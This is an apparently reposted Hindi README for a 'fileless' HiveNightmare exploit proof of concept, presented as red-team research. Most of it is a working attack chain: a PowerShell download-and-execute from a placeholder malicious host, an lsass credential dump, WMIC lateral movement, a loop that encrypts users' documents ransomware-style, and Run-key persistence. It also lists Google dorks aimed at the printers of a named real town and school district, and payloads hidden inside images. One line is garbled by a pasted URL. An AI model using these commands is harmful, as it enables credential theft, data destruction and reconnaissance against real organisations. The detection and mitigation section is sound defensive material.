HiveNightmare 'Fileless' Exploit PoC (प्रूफ ऑफ कॉन्सेप्ट):

विषय सूची

• अवलोकन
• विशेषताएँ
• लैब सिमुलेशन उदाहरण
• गूगल डॉर्क्स के साथ टोही
• LOLBins अवलोकन
• फ़ाइललेस ड्रॉपर एम्बेडिंग
• प्रिंट स्पूलर और HiveNightmare का शोषण
• रिफ्लेक्टिव DLL इंजेक्शन
• MITRE ATT&CK मैपिंग
• पता लगाना और शमन
• कानूनी अस्वीकरण
• संदर्भ और आगे पढ़ना

अवलोकन

CVE-2021-36934/HiveNightmare एक शैक्षिक लाल/बैंगनी टीम अनुसंधान परियोजना है जो Windows 11 पर एक फ़ाइललेस मैलवेयर हमले के ढाँचे का अनुकरण करती है। यह MITRE ATT&CK तकनीकों का उपयोग करके वास्तविक दुनिया के प्रतिपक्षी किल चेन का अनुकरण सक्षम बनाता है, जिसमें गुप्त, फ़ाइललेस संचालन पर ध्यान केंद्रित किया गया है।

चेतावनी: केवल पृथक प्रयोगशालाओं में अनुसंधान और प्रशिक्षण के लिए। उत्पादन या अनधिकृत प्रणालियों पर उपयोग न करें।

विशेषताएँ

• अंत से अंत तक फ़ाइललेस रैनसमवेयर/वाइपरवेयर हमलों का अनुकरण करता है
• लिविंग ऑफ द लैंड बाइनरीज़ (LOLBins) के उपयोग का प्रदर्शन करता है
• क्रेडेंशियल एक्सेस, विशेषाधिकार वृद्धि, पार्श्व गति, और स्थायित्व को प्रदर्शित करता है
• ब्लू टीम डिटेक्शन अभ्यासों के लिए व्यावहारिक लैब और टोही उदाहरण शामिल करता है
• MITRE ATT&CK से मैप करता है

लैब सिमुलेशन उदाहरण

निम्नलिखित PowerShell सिमुलेशन बिल्ट-इन विंडोज़ टूल्स (LOLBins) का उपयोग करके एक सामान्य फ़ाइललेस रैनसमवेयर हमले की श्रृंखला प्रदर्शित करता है:

# प्रारंभिक पहुँच: ड्रॉपर लोड करें
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")

# निष्पादन: इन-मेमोरी पेलोड को डिकोड और लोड करें
$bytes = [System.Convert]::FromBase64String("[Base64Payload]") 
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)

# विशेषाधिकार वृद्धि
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs

# क्रेडेंशियल एक्सेस
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

# पार्श्व गति
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"

# फ़ाइल एन्क्रिप्शन उदाहरण
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
  $data = Get-Content $file.FullName -Raw
  $aes = New-Object System.Security.Cryptography.AesManaged
  $aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
  $aes.IV = New-Object byte[] 16
  $enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
  Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}

# स्थायित्व
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"

गूगल डॉर्क्स के साथ टोही

उदाहरण उद्देश्य: मोबर्ली, मिसौरी में सार्वजनिक रूप से उजागर प्रिंटर सेवाओं की पहचान करना, जो PrintNightmare जैसे शोषण के लिए संभावित रूप से असुरक्षित हैं।

नमूना गूगल डॉर्क क्वेरीज़:

inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"

LOLBins अवलोकन

लिविंग ऑफ द लैंड बाइनरीज़ (LOLBins) वैध, भरोसेमंद विंडोज़ बाइनरीज़ हैं जिनका आमतौर पर प्रतिपक्षियों द्वारा सुरक्षा नियंत्रणों को दरकिनार करने और फ़ाइललेस रूप से दुर्भावनापूर्ण कोड चलाने के लिए दुरुपयोग किया जाता है।

उपयोग उदाहरण (प्रिंट सेवा हमला):

rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry

हमलावर rundll32.exe, regsvr32.exe, और powershell.exe जैसे LOLBins का उपयोग नेटवर्क शेयरों से पेलोड निष्पादित करने के लिए करते हैं, अक्सर टोही के माध्यम से उजागर प्रिंटर या सर्वरों की पहचान करने के बाद।

फ़ाइललेस ड्रॉपर एम्बेडिंग

लक्ष्य: छवियों के भीतर संग्रह एम्बेड करके और देशी टूल्स का उपयोग करके उन्हें निकालकर पेलोड को गुप्त रूप से वितरित करना।

चरण:

1. पेलोड एम्बेड करें:

   root@kitploit:~

   copy /b nsfw.jpg + payload.7z nsfw.jpg
   

2. निकालें और डिकोड करें:

   root@kitploit:~

   certutil -decode nsfw.jpg dropper.7z
   7z x dropper.7z -oC:\Users\Public\
   

यह विधि पारंपरिक फ़ाइल एक्सटेंशन फ़िल्टरिंग को दरकिनार करती है और चोरी-छिपे वितरण के लिए बिल्ट-इन टूल्स का लाभ उठाती है।

रिफ्लेक्टिव DLL इंजेक्शन

तकनीक: रिफ्लेक्टिव लोडिंग का उपयोग करके एक दुर्भावनापूर्ण DLL को सीधे मेमोरी में लोड और निष्पादित करना।

उदाहरण:

rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry

यह डिस्क पर आर्टिफैक्ट छोड़े बिना गुप्त, इन-मेमोरी निष्पादन को सक्षम बनाता है।

MITRE ATT&CK मैपिंग

पता लगाना और शमन

पता लगाना

• Sysmon + सिग्मा नियम:

  • गैर-सिस्टम DLL लोड करने वाले rundll32.exe की निगरानी करें
  • certutil.exe, regsvr32.exe, mshta.exe के असामान्य उपयोग पर नज़र रखें
  • गैर-प्रशासकों द्वारा शैडो वॉल्यूम एक्सेस को ट्रैक करें

• SIEM उदाहरण (ELK/Splunk):

  • सार्वजनिक शेयरों से निष्पादन पर अलर्ट
  • पैरेंट/चाइल्ड प्रक्रिया विसंगतियाँ (जैसे, explorer.exe से rundll32.exe उत्पन्न करना)
  • PowerShell या CMD में संदिग्ध एन्कोडेड कमांड

शमन

• जहाँ आवश्यक न हो वहाँ प्रिंट स्पूलर अक्षम करें:
  root@kitploit:~

  Stop-Service -Name Spooler -Force
  Set-Service -Name Spooler -StartupType Disabled
  

• सभी सुरक्षा पैच लागू करें और ACL को सख्त करें
• AppLocker या WDAC के साथ LOLBins को ब्लॉक या प्रतिबंधित करें
• EDR समाधान का उपयोग करें जो रिफ्लेक्टिव DLL लोडिंग और इन-मेमोरी हमलों का पता लगाते हैं

कानूनी अस्वीकरण

इस रिपॉजिटरी में सभी सामग्री, कोड और तकनीकें केवल शैक्षिक और अधिकृत पेनिट्रेशन टेस्टिंग के लिए हैं। इस परियोजना के किसी भी भाग का उपयोग नियंत्रित, पृथक वातावरण के बाहर और स्पष्ट अनुमति के बिना न करें। लेखक दुरुपयोग के लिए कोई देयता नहीं मानते।

संदर्भ और आगे पढ़ना

• LOLOL Farm – LOLBin Playground
• LOLGEN – Generate LOLBin Chains
• Detecting SeriousSam
• DLL Injection Primer
• Print Spooler Exploit Chain
• Fileless Malware – Wikipedia
• PrintSpoofer (Original)
• HiveNightmare
• Mitre Attck T1055
• Hivenightmare demo

सुरक्षित रहें, जिम्मेदारी से अनुसंधान करें, और हमेशा कानूनी और नैतिक तरीके से उपयोग करें।